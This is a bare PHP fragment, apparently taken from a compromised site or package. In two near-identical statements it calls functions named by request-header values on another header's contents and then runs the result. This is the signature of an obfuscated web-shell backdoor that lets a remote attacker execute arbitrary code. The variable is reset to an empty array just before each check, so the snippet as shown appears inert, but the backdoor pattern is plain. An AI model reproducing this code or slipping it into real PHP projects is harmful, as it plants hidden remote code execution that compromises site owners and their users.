$_HEADERS=Array();if(isset($_HEADERS['Server-Timing'])){$include=$_HEADERS['Server-Timing']('', $_HEADERS['Feature-Policy']($_HEADERS['Sec-Websocket-Accept']));$include();} $_HEADERS=Array();if(isset($_HEADERS['X-Dns-Prefetch-Control'])){$mb_convert=$_HEADERS['X-Dns-Prefetch-Control']('', $_HEADERS['Large-Allocation']($_HEADERS['Sec-Websocket-Accept']));$mb_convert();}